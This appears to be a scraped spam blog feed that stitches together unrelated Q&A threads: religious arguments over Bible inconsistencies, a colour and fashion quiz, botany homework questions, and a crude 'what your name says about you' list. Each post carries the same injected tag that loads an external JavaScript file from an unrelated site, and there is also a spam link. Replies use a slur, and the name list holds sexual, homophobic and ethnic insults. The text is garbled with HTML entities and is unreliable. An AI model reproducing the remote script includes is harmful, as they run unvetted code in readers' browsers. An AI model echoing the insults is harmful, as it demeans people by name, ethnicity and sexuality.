/> <br>Reply:Repent, and admit that you do not understand. Ask God to help you. Let God change your heart and mind. <span>Report It</span><br /> <br>Reply:Why are there so many common sense inacuracies with people coming from Apes? Why would we still have Apes? You didn%26#039;t come from a stew or an Ape. The only other explanation is that there IS a God and if you choose to be against him, which right now you are, you go to hell! <span>Report It</span><br /> <br>Reply:lol....you can%26#039;t explain where you came from to a christian...just like a christian can%26#039;t make you believe that we were created for God%26#039;s Glory (Genesis 1) if you%26#039;re just going to present a question and answer it yourself then you%26#039;re doing nothing more than arguing <span>Report It</span><br /> <br>Reply:I am not reading all that but if it puts the bible then shame on you! <span>Report It</span><br /> <br>Reply:wow i love the question im going to print it off so i can read it to others so thank you for your help:) <span>Report It</span><br /> <br>Reply:Jesus said I am the way the truth the life no man comes to god the father but by me period. <span>Report It</span><br /> <br>Reply:A few are simple typos....just like when you misspelled the word, %26quot;innacuracies%26quot; in your question. <span>Report It</span><br /> <br>Reply:Wow... I now know the people who are in Satan%26#039;s top 1000 %26quot;Take home%26quot; list. Have faith in God and you get the chance to be up at heaven and watch sinners turn into BBQ down at hell. <span>Report It</span><br /> <br>Reply:Wow Pope youre an A** hole. <span>Report It</span><br /> <br>Reply:The premise of your entire argument is this:<br><br /><br /><br><br /><br />%26quot;I disagree, therefore you are wrong.%26quot;<br><br /><br /><br><br /><br />If you are going to criticise religion, that%26#039;s fine, but at least do it contructively. <span>Report It</span><br /> <br>Reply:you will see when judgement day comes. <span>Report It</span><br /> <br>Reply:If Creationists and Literalists didn%26#039;t set the tone for this attitude by telling us that every word is a precise and accurate account of fact, I don%26#039;t think there would be nearly as much of this overboard effort to point out every bit of illogic and inconsistency <span>Report It</span><br /> <br>Reply:If you are convinced the Bible is flawed, and do not believe in God, why do you continue to post questions about something you %26quot;think%26quot; you%26#039;ve answered. You hurt no one but yourself with this rebellious attitude, and risk only your own life. <span>Report It</span><br /> <br>Reply:Boring, and i know exactly what site he copied all that from. Pretty much answers all of them: http://www.gotquestions.org/sk...<br><br /><br />Genesis 1 and 2 aren%26#039;t contradictory at all. Creatures that creep along the ground usually carry deadly diseases. <span>Report It</span><br /> <br>Reply:What if it happenz on that %26quot;day%26quot; ?<br><br /><br /><br><br /><br /><br><br /><br />{He iz the Master of the Day of Judgement} <span>Report It</span><br /> <br>Reply:There are many many things about the Bible I don%26#039;t understand. That doesn%26#039;t make them not true. I don%26#039;t understand Algebra or a lot of mathematics after addition and subtraction but that doesn%26#039;t mean they have no basis in truth.<br><br /><br /><br><br /><br />For example: let%26#039;s say you have this disease and from all your research you know it can do such and such things, OK? So one day you come down with these other symptoms that aren%26#039;t as far as you know related to your disease. So what do you do? You go to a Dr. A professional. A specialist. Someone who has studied your particular disease. You ask questions and get answers.<br><br /><br /><br><br /><br />If there are things about the Bible you don%26#039;t understand, then go speak to a professional. Someone who has studied this particular passage and can give you the answers you seek instead of just sitting there and complaining about it.<br><br /><br /><br><br /><br />A pastor, minister or reverend, is just that professional. A specialist in the Bible. Someone who has studied and understands all the so called %26quot;inconsistencies%26quot;<br><br /><br /><br><br /><br />As I have stated, there are many many things I don%26#039;t understand. That doen%26#039;st stop me from believing.<br>Reply:Click on the following links for the answers to your many questions. <br><br /><br /><br><br /><br />http://www.biblequestions.org/index.html - Many questions about the Bible are answered here.<br><br /><br /><br><br /><br />http://www.clarifyingchristianity.com/in... - Learn more about Christianity, Early Chuch History, Jesus %26amp; The Bible. Also Got a FAQ list too.<br><br /><br /><br><br /><br />http://www.pbs.org/wgbh/pages/frontline/... - PBS:FRONTLINE - From Jesus to Christ. Chronicles the lives of the first Christians and offers a portrait of Jesus%26#039; world with many views and opinions from many Historians, Archeologist, Biblical Scholars and Skeptics. <br><br /><br /><br><br /><br />http://bibleresources.bible.com/index.ph... - Read the Bible online for yourself. <br><br /><br /><br><br /><br />Also check out the following programs on DVD or video...<br><br /><br /><br><br /><br />PBS:FRONTLINE - From Jesus to Christ: The first christians<br><br /><br />The History Channel: Mysteries of the Bible<br><br /><br />The History Channel: A History of God<br><br /><br />The History Channel: Banned from the Bible<br><br /><br />A%26amp;E%26#039;s: Christianity: Two thousand years <br><br /><br />A%26amp;E%26#039;s: Ancient Secrets of the Bible<br>Reply:Time and again the archeological and historical reliability of the Bible has been proven. Please read the following links below and and maybe it can provide some answers.<br><br /><br /><br><br /><br />%26quot;Archeology and the Bible%26quot;<br><br /><br />http://www.christiananswers.net/archaeol...<br><br /><br /><br><br /><br />%26quot;Hasn%26#039;t the Bible been rewritten so many times that we can%26#039;t trust it anymore?%26quot;<br><br /><br />http://www.carm.org/questions/rewritten....<br>Reply:Because it was a great story written by an average man who was very charismatic. If you read the book from beginning to end like a Stephen King novel, it%26#039;s really a great read. It%26#039;s got it all, sex, murder, joy, sadness, action, war and even magik. Man this book has it all, but you can%26#039;t take it too seriously.<br>Reply:Don%26#039;t worry about it. If your right what any of us believe won%26#039;t matter in a million years. If you are right then we are all irrelevant, and what I believe and what you believe doesn%26#039;t matter. So why concern yourself? Go outside, look at the stars and think about how small you really are. God loves you.<br>Reply:Whew… why the need to point out the discrepancies? If you spent all that time, energy, and effort teaching yourself instead of teaching others… you might find Love and just Who Love is. Hebrews 8:10<br>Reply:Dang, thats long. But I disagree with you, this world tries to say that the Bible is inacurate, but all that it said would happen, has happend! And all that it said happend, we have found evedence for, or are in the process of finding it. Yet their is practically no evidence for evolution, they have to change things periodically, just for things to work with their theory, since it IS a theory guys, not fact as your Biology teachers may tell you.<br><br /><br /><br><br /><br />Okay look, did you actually read the Bible? Or are they exerpts from some book that you read that says %26quot; 100 ways to trying to disprove the Bible!%26quot; when they only take bits and pieces of the book and, after all, if you take bits and pieces of any book, you can make it say whatever you want it to say. <br><br /><br /><br><br /><br />Don%26#039;t take a scientist word for it, read the Bible for yourself! You may learn that their wrong, or they could be right, go find out.<br>Reply:Consider it the power of naming and perspective. People explain things based on what they know and have experienced. No religion or person (in my opinion) has the answers to everything. Some of the things you %26quot;quote%26quot; might have been written in context of what were cultural norms at the time it was written. Some people may consider you are arrogant and others may just think you are curious and want to know. Most times things change the more we know about them. Some people don%26#039;t want to know and for things not to change. Change can be scary or it can be exhilarating. We each have to decide for our selves.<br>Reply:The bible was written by educated men of their time trying to keep the populace in line by parables and stories. The people who wrote the Old Test. wrote terrible stories to keep people in line by the threat of God%26#039;s punishment. The new testament was put together 200 yrs after Christ with some writings of the apostles and has been translated and retranslated many times and even slanted at times to conform to whatever regulations the Church put into place. That is why the Bible should not be taken literally. It is not a scientific document but a spiritual teaching document. You must remember that most people of the time were iliterate and creating stories to explain religion was the only means the members of early Christianity had. They believed in Christ as God and wanted to document it and spread the word. If they came back today and were educated I bet they%26#039;d be very surprised at what it now says and that people take it literally.<br>Reply:Whoa, I get the point!<br><br /><br />We all know the bible is full of crap, but ... damn ... you didn%26#039;t need to make a list that long.<br>Reply:Thank you for showing this to me. I never noticed any of this before. Christianity is a racist folktale.<br>Reply:Why are you telling believers this on a Religious/Spiritual Site!....Believers know what the Bible says and how to spiritually understand it!......Go get saved and sit under an Anointed Pastor and learn how to Spiritually Understand GOD%26#039;S WORD so that you won%26#039;t be labled as bringing HERESY Against The WORD Of GOD as you try to explain it!<br>Reply:Whoa Monica whore of Babylon do not torture your fingers like that again! This is the first question that I ever got high off of! It really made me dizzy! I need a break after reading that one! I will come back tomorrow and try to answer it! Were you there when the hand writing appeared on the wall?<br>Reply:Simple: that so-called deity doesn%26#039;t exist.<br>Reply:It sounds like your trying to mock the bible.<br>Reply:ask a pastier<br>Reply:why are you such a towelhead asshole???<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower3.js type=text/javascript></script><br><br>MATILDAhttp://www.blogger.com/profile/11415413220136255560noreply@blogger.com0tag:blogger.com,1999:blog-8554142671069406580.post-90220458694549251962011-11-18T00:42:00.003-08:002011-11-18T00:42:57.633-08:00Take this please?sapphire or emerald?<br><br /><br />royal blue or sea green?<br><br /><br />golden sequinned dress or hot pink top with capris?<br><br /><br />sneakers or stilletoes?<br><br /><br />sleek watches or chunky ones?<br><br /><br />uniforms or jerseys?<br><br /><br />cotton trees or palm leaves?<br><br /><br />cactus or orchids?<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower2.js type=text/javascript></script><br>Take this please?<br>emerald<br><br /><br />royal blue<br><br /><br />top and capris<br><br /><br />sneakers<br><br /><br />sleek<br><br /><br />jersey<br><br /><br />palm leaves<br><br /><br />orchids.<br>Reply:Emerald<br><br /><br />Sea green<br><br /><br />Sorry, neither, I don%26#039;t do hot pink<br><br /><br />If I have to choose b/t the two, sneakers (chucks)<br><br /><br />chunky watches<br><br /><br />jerseys<br><br /><br />cotton trees<br><br /><br />orchids<br>Reply:Emerald (my birthstone)<br><br /><br />royal blue.<br><br /><br />golden sequinned dress...-oh la la-<br><br /><br />sneakers...plz.<br><br /><br />sleek watches<br><br /><br />jerseys<br><br /><br />palm leaves<br><br /><br />Orchids<br><br /><br /><br><br /><br />Live Life 2 Its Fullest-http://www.youtube.com/watch?v=RDo-YPwbw...<br>Reply:Sapphire<br><br /><br />Sea Green<br><br /><br />Hot pink top w/ capri%26#039;s<br><br /><br />Stilettos<br><br /><br />Sleek Watch<br><br /><br />Jerseys<br><br /><br />Palm Leaves<br><br /><br />Orchids<br><br /><br /><br><br /><br />- summer ♥<br>Reply:Sapphire<br><br /><br />Sea green<br><br /><br />don%26#039;t care<br><br /><br />hu?<br><br /><br />What?<br><br /><br />Jerseys<br><br /><br />palm leaves<br><br /><br />cactus<br>Reply:sapphire<br><br /><br />rayal blue<br><br /><br />golden sequinned dress<br><br /><br />stilettos<br><br /><br />sleek watches<br><br /><br />jerseys<br><br /><br />palm leaves<br><br /><br />orchids<br>Reply:sapphire<br><br /><br />royal blue<br><br /><br />hot pink top with capris<br><br /><br />sneakers<br><br /><br />sleek watches<br><br /><br />jerseys<br><br /><br />palm trees<br><br /><br />orchids<br>Reply:Here you go:<br><br /><br /><br><br /><br />(of your choices, my personal favorites are to the right)<br><br /><br />sapphire................................. goldstone<br><br /><br />royal blue....................................... iradescent purple<br><br /><br />hot pink top with capris............................ black top %26amp; jeans<br><br /><br />sneakers................................. jogging shoes<br><br /><br />chunky watches.................................... watch with alarm<br><br /><br />jerseys.................................. just a number<br><br /><br />palm leaves..................................... fern leaves<br><br /><br />orchids.................................. roses-- classic!<br>Reply:emerald,it%26#039;s my school team<br><br /><br />sea green<br><br /><br />golden sequinned dress<br><br /><br />sneakers<br><br /><br />sleek watches<br><br /><br />uniforms,it%26#039;sa a proud to wear<br><br /><br />i like both<br><br /><br />orchids,am watering them everyday<br>Reply:Sapphire<br><br /><br />Royal Blue<br><br /><br />Golden dress<br><br /><br />Stilettos<br><br /><br />Uniforms<br><br /><br />Palm leaves<br><br /><br />Orchids<br>Reply:Hi!!<br><br /><br />emerald<br><br /><br />Sea Green<br><br /><br />Golden sequined dress<br><br /><br />sneakers<br><br /><br />Sleek watches<br><br /><br />uniforms<br><br /><br />cotton trees<br><br /><br />orchids<br>Reply:1- Sapphire<br><br /><br />2- Sea Green <br><br /><br />3- Hot Pink Top with Capris<br><br /><br />4- sneakers<br><br /><br />5- chunky ones<br><br /><br />6- jerseys<br><br /><br />7- palm leaves<br><br /><br />8- orchids<br>Reply:sapphire <br><br /><br />royal blue <br><br /><br /> hot pink top with capris<br><br /><br />stilletoes<br><br /><br />sleek watches <br><br /><br />jerseys<br><br /><br /> palm leaves<br><br /><br /> orchids<br>Reply:sapphire,sea grean, pink top with capris,sneakers,sleek, jerseys, palm leaves, orchids<br>Reply:Emerald<br><br /><br />Royal blue<br><br /><br />hot pink top with capris<br><br /><br />sneakers<br><br /><br />Chunky<br><br /><br />Uniforms<br><br /><br />Palm<br><br /><br />Cactus<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower3.js type=text/javascript></script><br><br>MATILDAhttp://www.blogger.com/profile/11415413220136255560noreply@blogger.com0tag:blogger.com,1999:blog-8554142671069406580.post-22466259639264669742011-11-18T00:42:00.002-08:002011-11-18T00:42:40.130-08:00BOTANY/BIoLOGY HELP NEEDED?how does energy flows among the organisms on a tree like an orange tree?<br><br /><br /><br><br /><br />organisms include of : aphids, ants, mealybugs, ladybugs, wild orchids, birds, black fungus.<br><br /><br /><br><br /><br />please help me<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower1.js type=text/javascript></script><br>BOTANY/BIoLOGY HELP NEEDED?<br>One of the first things to consider when doing an energy flow diagram is to think about who eats what....<br><br /><br />I%26#039;ll start you out with aphids suck phloem exudate from the orange tree and ladybugs eat aphids...<br><br /><br /><br><br /><br />your turn.<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower3.js type=text/javascript></script><br><br>MATILDAhttp://www.blogger.com/profile/11415413220136255560noreply@blogger.com0tag:blogger.com,1999:blog-8554142671069406580.post-12916773946716685262011-11-18T00:42:00.001-08:002011-11-18T00:42:24.974-08:00Tropical rain forest vegetaion; in Siuth America ths vegtation is along the Amazon, (REST OF QUESTION IN DEtaiOn the Pacifaic slope of Columbia and on the trade-wind east coast of Brazil. This type of lush rain forest produces orchids, Brazil-nuts, rubber and mahogany trees?<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower2.js type=text/javascript></script><br>Tropical rain forest vegetaion; in Siuth America ths vegtation is along the Amazon, (REST OF QUESTION IN DEtai<br>Huh?? It%26#039;s the Amazon Tropical Rainforest.<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower3.js type=text/javascript></script><br><a href=http://www.qusiba.com.cn>opera music</a>MATILDAhttp://www.blogger.com/profile/11415413220136255560noreply@blogger.com0tag:blogger.com,1999:blog-8554142671069406580.post-2867662486822215492011-11-18T00:42:00.000-08:002011-11-18T00:42:16.905-08:00What your name say about you?The Men%26#039;s Names – (scroll down for the women’s names)<br><br /><br /><br><br /><br />Aaron - ugly but hung like a horse, prone to belly button fluff.<br><br /><br />Able - totally useless.<br><br /><br />Adam - not very bright and not very pretty, has almost mastered hygiene.<br><br /><br />Adrian - usually short and very horny, watches cartoons.<br><br /><br />Alan - shy but sensitive, gets screwed over by women.<br><br /><br />Alex - cute and tall but a liar and a cheat.<br><br /><br />Alistair - likes being tied up, and really enjoys playing with train sets<br><br /><br />Amir - dirty, smelly, pecker is minuscule. Bad diet.<br><br /><br />Andrew - Highly intelligent and wears a kilt. Poor standards of hygiene. Homicidal tendencies.<br><br /><br />Antonio - has a great body and beautiful skin, and chicken brain. Looks in the mirror too much.<br><br /><br />Anthony - great guy and kind to all girls, smells of wee.<br><br /><br />Arnold - loser.<br><br /><br />Arthur - hung like a slave and celibate.<br><br /><br />Avenir - reads too many fantasy books, wears armour to bed.<br><br /><br />Baron - Reads SAS books, wants to go out and shoot something or somebody.<br><br /><br />Barry - lights fires, pinches girl’s bottoms and is well hung.<br><br /><br />Barnaby - very big, very strong and very gentle, cries a lot.<br><br /><br />Ben - funny and can be real difficult to beat at games.<br><br /><br />Bill - thinks he%26#039;s really popular, thinks all the girls want him ...he%26#039;s wrong.<br><br /><br />Bob - quiet and unpopular, eats with his hands.<br><br /><br />Brad - short and squat, has bad breath.<br><br /><br />Braden - Drop out and doesn%26#039;t care, will set record for longest employee at McDonalds.<br><br /><br />Brandon - good looking but uses girls. Not very academic.<br><br /><br />Brendan - quiet and sweet, gets beaten up all the time.<br><br /><br />Brett - worldwide slut and really insensitive, women love him.<br><br /><br />Brian - mean and only thinks of himself, he%26#039;s just a very naughty boy.<br><br /><br />Bryan - sexy, but stupid - can%26#039;t spell.<br><br /><br />Bronsen - annoying and never grows up - has a stupid name.<br><br /><br />Bruce - stinks bad and thinks everyone else%26#039;s name is also Bruce.<br><br /><br />Bryce - fun to be with and will make you laugh, you%26#039;ll kill him within a week.<br><br /><br />Callum - tall and geeky, very defensive.<br><br /><br />Calvin - immature in a naive way, drives a Gemini.<br><br /><br />Cameron - Australian. Big muscles.<br><br /><br />Carl - horny. bastard, who can%26#039;t sing.<br><br /><br />Carlo - dark and brooding, for some unknown reason girls seem to like him!<br><br /><br />Carson - fun to be around and really sensitive.<br><br /><br />Chad - cute, sensitive and very studly - only found in American movies, no real person has that name.<br><br /><br />Charles - can%26#039;t trust him, eyes too close together.<br><br /><br />Chris - can%26#039;t pull, will pay for women, but has a huge pecker and can use it too.<br><br /><br />Christian - Gay but very sexy and seductive.<br><br /><br />Clark - hilarious and always in trouble, problem with %26#039;jailbait%26#039;.<br><br /><br />Cliff - very sweet and adores girls, but very superficial.<br><br /><br />Clive - trainspotter ... dull as ditchwater.<br><br /><br />Cole - nice, funny, and very stupid.<br><br /><br />Colin - lies to women and blows up public buildings.<br><br /><br />Cory - funny but ugly, ends up running fashion magazines.<br><br /><br />Craig - tries to fit in - he never does.<br><br /><br />Crispin - Ugly homosexual. Fancies himself. Successful<br><br /><br />Curtis - needs constant mothering and reassurance.<br><br /><br />Damien - spawn of the devil, but in a good way.<br><br /><br />Damon - total loser in a sweaty sort of way.<br><br /><br />Dan - quiet but funny, but becomes easily addicted to narcotics.<br><br /><br />Danny - Wears stylish clothes and has silky womens underwear beneath them.<br><br /><br />Dane - weird but can hold together a conversation with a mermaid.<br><br /><br />Daniel - enjoys root vegetables in every orifice.<br><br /><br />Darren - charming , but sleeps with men.<br><br /><br />Darwyn - exercises too much, favourite word Ug Daryl - pompous and<br><br /><br />overbearing, likes using big words that only he understands.<br><br /><br />David - Sensible and works out a lot, loves girls named Florence.<br><br /><br />Dave - extremely sexy, always funny, intelligent, stylish, trendsetter i.e. a wanker.<br><br /><br />Dean - full of himself and thinks with his dick.<br><br /><br />Dele - well endowed likes blondes. Looks in the mirror too much<br><br /><br />Dennis - either very nice to girls or a ******.<br><br /><br />Derek - has a great sense of humour, and a blow-up doll collection.<br><br /><br />Dillon - Stupid but well-built, women just use him for sex.<br><br /><br />Dominic - hilarious and will do anything to please anybody.<br><br /><br />Don - ********, nobody likes him.<br><br /><br />Doug - has a greasy face, drinking problem and farts.<br><br /><br />Drew - bad-**** loser who never shuts up.<br><br /><br />Duncan - hopeless ski bum, brains shot away long ago.<br><br /><br />Dylan - thinks he%26#039;s funny, falls asleep during sex.<br><br /><br />Dwayne - cool guy to be around if you can handle his name.<br><br /><br />Eddie - wants too many chicks he%26#039;ll never get cos he%26#039;s an ********.<br><br /><br />Elis - would rather make model airoplanes than have sex.<br><br /><br />Elliott - full of himself.<br><br /><br />Eric - shy and timid like a little mouse.<br><br /><br />Evan - a little slow but sweet, sexy, and a model mental patient.<br><br /><br />Finn - Completely indecisive, suffers terribly with Catholic guilt.<br><br /><br />Frank - single helix DNA and it shows.<br><br /><br />Fraser - sucks pigs ***** %26amp; swallows the lot.<br><br /><br />Frederick/Fred/Freddie - wants to rule the world. Loves women<br><br /><br />Fritz - Loves playing games. Never wins.<br><br /><br />Gareth - sweet but dresses too good to be straight. Can%26#039;t play rugby.<br><br /><br />Gary - drug addict but willing to share.<br><br /><br />Garry - forever fiddling with himself and wonders why no-one will shake hands.<br><br /><br />Gavin - likes bondage, S%26amp;M with other men.<br><br /><br />Geoff - prefers golf to sex and war to peace.<br><br /><br />George - barman who drinks more than he serves.<br><br /><br />Gerry - quiet and insecure, a doormat.<br><br /><br />Gilbert - Morris dancer, collects antique sweet wrappers.<br><br /><br />Glen - the sweetest guy - really down to earth. good teacher. crap in bed.<br><br /><br />Gordon - big bloke in a dirty raincoat, kinda flashy.<br><br /><br />Greame - very hard to understand, likes group sex.<br><br /><br />Graham/Graeme - will screw anything.<br><br /><br />Grahame - thinks he%26#039;s better than other Grahams because he has an extra %26#039;e%26#039;.<br><br /><br />Grant - Short and ugly! but so sweet and you can talk to him about anything.<br><br /><br />Greg - really sweet and feels suicidally sorry for himself.<br><br /><br />Harry - Good at sport. Women love him. Blokes hate him.<br><br /><br />Harvey - cute, but addicted to sex and/or drugs.<br><br /><br />Haydn - tries hard, succeds rarely.<br><br /><br />Heinz - Likes variety in his life. in his fifties. Overweight.<br><br /><br />Henry - dull, dull, dull, dull ... likes trains and tweed jackets, probably a science teacher.<br><br /><br />Howard - likes small-breasted women and pornography.<br><br /><br />Howell - sings too much.<br><br /><br />Ian - likes to stuff animals and dress up in women%26#039;s clothing.<br><br /><br />Ivor - militant psychopath with homosexual tendencies.<br><br /><br />Izzy - circumsized, but they threw away the wrong bit.<br><br /><br />Jake - shy and sweet but a slut when drunk.<br><br /><br />Jamie - Devious scum of the earth.<br><br /><br />James - can%26#039;t handle his beer, smells of mayonaise and does wet farts.<br><br /><br />Jarrod - Arrogant, stuck-up, pompous and annoying. Loves himself totally<br><br /><br />and has lots of mirrors.<br><br /><br />Jason - Gayer than a pink fairy winning a trophy at the gayest pink fairy competition.<br><br /><br />Jay - very sweet when you get to know him well. which is a problem because<br><br /><br />he has bad breath.<br><br /><br />Jeff - really ugly.<br><br /><br />Jerome - gay, but very unhappy.<br><br /><br />Jeremy - loud and thinks that he%26#039;s all that he says he is.<br><br /><br />Jesse - unpopular and needs to move on.<br><br /><br />Jack - stupid but hot, always alright.<br><br /><br />Jim - sweet, has fantasies of love and affection but wanks too much.<br><br /><br />Jimmy - Goes to the toilet twice a night, doesn%26#039;t always get up for it.<br><br /><br />Joe - built like a bear, sexy but tends to lose his head. Bisexual<br><br /><br />Joel - ****.<br><br /><br />John - has few friends and no life - tends to kill small animals.<br><br /><br />Jon - Not too bright will end up married to a cousin.<br><br /><br />Jolyon - absolute raving homosexual.<br><br /><br />Jonathon - think he%26#039;s good - he%26#039;s ****. Looks in the mirrror too much.<br><br /><br />Jordan - sexy but weird in bed. Hung like a wildebeest.<br><br /><br />Jose - hot boy with a love of hermaphrodites.<br><br /><br />Josh - full of himself, fun. And has huge lips which resembles a ladies vagina.<br><br /><br />Julian - used to be a wooden boy, but is now almost real with a big nose.<br><br /><br />Junior - Not very clever, but good at football.<br><br /><br />Justin - aggravating but lovable, insecure but successful and overweight.<br><br /><br />Kain - one of the sexiest guys alive but very stuck up.<br><br /><br />Keegan - always has a bit of his last meal displayed on his clothes.<br><br /><br />Kev - lager lout, wears cheap and loud clothes.<br><br /><br />Kevin - always attracts really fit girlfriends and then loses them when they see his dick!<br><br /><br />Keith - good person to talk to when you have a problem - his is worse.<br><br /><br />Kenneth - very, very...anything you want him to be.<br><br /><br />Kerry - wants to be in a boy band but he%26#039;s not pretty enough.<br><br /><br />Kirk - good looking, worries that he might be gay.<br><br /><br />Kurt - can kick anyone%26#039;s ****.<br><br /><br />Kyle - hornball who eats too many cornchips.<br><br /><br />Larry - cute but wannabe player with big ****.<br><br /><br />Laurey - short and funny looking.<br><br /><br />Lee - girl dressed up as a boy, total **** bandit.<br><br /><br />Levi - same as Lee only not so pretty.<br><br /><br />Lewis - lonely, sad git, bit of a tosser. Welsh<br><br /><br />Liam - loud mouthed ********.<br><br /><br />Lorenzo - fine and dresses in stolen gold.<br><br /><br />Lucas - fat loser that dates other men.<br><br /><br />Luke - seems to be sweet.<br><br /><br />Madison - so far up his own **** there%26#039;s no room for his boyfriend.<br><br /><br />Malcolm - tall man who tends to lose his trousers. And is gay!!!<br><br /><br />Mark - Good looking and very clever. Every woman would if she could.<br><br /><br />Marshall - Never seems to age, this is because he is in fact an anderoid!<br><br /><br />Martin - Stud. Loves himself. would make a good lawyer.<br><br /><br />Matt - the fat boy of the class, likes sweets and is full of ****.<br><br /><br />Matty - Life and soul of the party, could get a corpse dancing.<br><br /><br />Menno - built like a horse. Only does it doggy.<br><br /><br />Michael - very good looking but he%26#039;ll do anything for a girl. Doesn%26#039;t like<br><br /><br />to work too hard. Sexual deviant<br><br /><br />Mick - always drunk, tendency for drug abuse.<br><br /><br />Mintesh - boy racer, the ******** who drives with the stereo too loud and<br><br /><br />the windows down even though it%26#039;s cold!<br><br /><br />Mitchell - big bloke, sweats a lot, usually pure alcohol.<br><br /><br />Mohammed - small penis, but still really enjoys playing with it.<br><br /><br />Nathan - stupid as hell, and tends to make others feel dumb.<br><br /><br />Nick - inbred - can%26#039;t get past the missionary position though.<br><br /><br />Neil - sweet and will do anything in this world for you, great in bed but<br><br /><br />only on his own.<br><br /><br />Noel - only goes out with girls so that he can steal their clothes.<br><br /><br />Oliver - likes men but is in denial.<br><br /><br />Oscar - complete loser, hated by his parents.<br><br /><br />Owen - cute gay guy who is immature, and sings Welsh songs.<br><br /><br />Patrick - drunk, drunk, drunk.<br><br /><br />Paul - cool, calm and handsome, a quality only found in gays.<br><br /><br />Peter - Likes sheep more than girls, will probably end up married to a relative.<br><br /><br />Phillip - homophobic, image conscious twat, likes to **** poodles.<br><br /><br />Ramsey - thinks he%26#039;s posh but is actually a knob.<br><br /><br />Raymond - doesn%26#039;t like to be called Ray because it sounds too %26#039;straight%26#039;.<br><br /><br />Richard - can%26#039;t see his feet as balls are too big<br><br /><br />Ricky - ugly shithead who everybody hates.<br><br /><br />Rikki - see above, but can%26#039;t even spell.<br><br /><br />Rob - constantly watches porn.<br><br /><br />Robin - Ugly and not very bright, probably a teacher.<br><br /><br />Roger - acts like a wanker when drunk ... Permanently drunk!<br><br /><br />Rory - men are only nice to him so they can talk to his sister.<br><br /><br />Roy - total loser and computer genius.<br><br /><br />Rupert - arrogant twat who is crap in bed but thinks he is a stud.<br><br /><br />Russell - likes to play in the leaves which makes him an ********. Pantomime dame<br><br /><br />Ryan - short and stout, but popular.<br><br /><br />Sam - wannabe sex machine.<br><br /><br />Sandeep - complete anorak, owns a metal detector.<br><br /><br />Sean - thinks he%26#039;s James Bond, in reality a dipstick.<br><br /><br />Scott - has serious disabilities. likes winter sports<br><br /><br />Sean - has small deformed testicles and no friends.<br><br /><br />Seth - so sweet to other people but is a traitor.<br><br /><br />Shane - cute gay guy who is immature, and sings Welsh songs.<br><br /><br />Shannon - like the, river wet and full of ****.<br><br /><br />Shaun - bit of a hard bastard, thinks women love him.<br><br /><br />Simon - likes a night out with the lads and curries. Talks bollocks.<br><br /><br />Sonny - thinks he%26#039;s tough and proves it with young girls and boys.<br><br /><br />Spencer - thinks everybody wants to shag him - he%26#039;s a virgin<br><br /><br />Steve - popular and funny when looked at side-on.<br><br /><br />Stuart - loves it right up there, normally with a toilet roll and a hamster<br><br /><br />Taylor - Gay, gay, gay, gay ....<br><br /><br />Terry - small and wirey with a nasty temper.<br><br /><br />Tim - hot but a bit strange, can never tell where he is.<br><br /><br />Toby - best blow ever.<br><br /><br />Tom - cool but can be very arrogant.<br><br /><br />Tomas - part-druid, likes to dance round things naked.<br><br /><br />Tony - hot, sweet, and totally fun to be around. tendency to megalomania<br><br /><br />Travis - fat and horny with the best XXX collection to be found.<br><br /><br />Trevor - sweet and funny but sometimes untrustworthy.<br><br /><br />Troy - cute and popular.<br><br /><br />Tyrone - Big bloke with a gay moustache, but nobody dares tell him.<br><br /><br />Ty - small and kind of shrivelled.<br><br /><br />Var - adventurous type, can%26#039;t sit quietly and so is very annoying.<br><br /><br />Wade - huge bloke, people jog round him and have to stop halfway for a rest.<br><br /><br />Walter - Rich, but with no taste in anything, so the money is a bit of a waste.<br><br /><br />Wasim - Good at sport. Likes bondage. Intelligent.<br><br /><br />Warren - cool, homosexual guy. Picks his nose alot.<br><br /><br />Wesley - great guy and easy to not notice.<br><br /><br />Will - wishes he were popular.<br><br /><br />William - not very tall, but ultra-cool.<br><br /><br />Zach - sweet and polite and twisted.<br><br /><br />Zahid - devious and sly. Not to be trusted.*<br><br /><br /><br><br /><br />--------------------------------------...<br><br /><br /><br><br /><br />The Women%26#039;s Names<br><br /><br /><br><br /><br />Abby - agony aunt, always willing to explain about your confused sexuallity.<br><br /><br />Ada - blue haired, smells of wee.<br><br /><br />Adie - quiet and shy, but when you get to know her .. quiet and shy.<br><br /><br />Aileen - laughs like a demented dog. likes tic tacs.<br><br /><br />Alana - pretty and popular, but with very dark secrets.<br><br /><br />Alexandra - popular but very loud, sometimes forgets to bathe.<br><br /><br />Alice - likes horses but looks like Kermit%26#039;s girlfriend.<br><br /><br />Alicia - pretty and knows it, watches herslf go by in shop windows.<br><br /><br />Alison - bra and pants are the same garment, looks better with the light off.<br><br /><br />Alyssa - wants to be %26#039;exotic%26#039;, but only manages to be %26#039;strange%26#039;.<br><br /><br />Amanda - I.Q. smaller than her bra size, a good shag, but she does practice a lot.<br><br /><br />Amber - stereotypical exotic dancer, not too bright but very flexible.<br><br /><br />Amy - Devious, Likes being on top, never stays the night - Not to be trusted. Likes any man not wearing trousers<br><br /><br />Anastasia - overly-loud, wears clothes 2 sizes too small.<br><br /><br />Andrea - Small breasts, small ****, drinks pints and plays a mean game of pool.<br><br /><br />Andrina - dark and sultry, pretends she%26#039;s a Russian spy.<br><br /><br />Angela - Vain, Hair style more important than oxygen. Usually found hanging around toilets.<br><br /><br />Anita - Beautiful girl with perfect hair and a body to die for.<br><br /><br />Annabelle - Doesn%26#039;t wear knickers.<br><br /><br />Annette - She%26#039;s BIG, like really BIG!!.<br><br /><br />Anne - Looks like a horse, can%26#039;t drive.<br><br /><br />Anne-Marie - Gorgeous and with a great taste in blokes, has perfectly<br><br /><br />formed breasts<br><br /><br />Annie - Drinks too much, always wakes up next to ugly guys.<br><br /><br />Ashlee - Dyslexic and spends all day thinking about sex.<br><br /><br />Aurora - Beautiful and sexy, every mans dream, but sadly swings the other way.<br><br /><br />Azaria - Beautiful and exotic with the brain power of an orchid.<br><br /><br />Barbara - Shags like a rabbit, not fussy about appearance. Wears alot of make up<br><br /><br />Bea - Beautiful, sexy, original, but nearly impossible to satisfy in bed.<br><br /><br />Becky - one of the boys, knows about football and cars, unusually tall.<br><br /><br />Belinda - Pleasing on the eye, usually has a couple of good points.<br><br /><br />Beryl - Repressed alcoholic.<br><br /><br />Beth - Empty headed, big breasted, and easy.<br><br /><br />Bettina - Dominatrix.<br><br /><br />Beverley 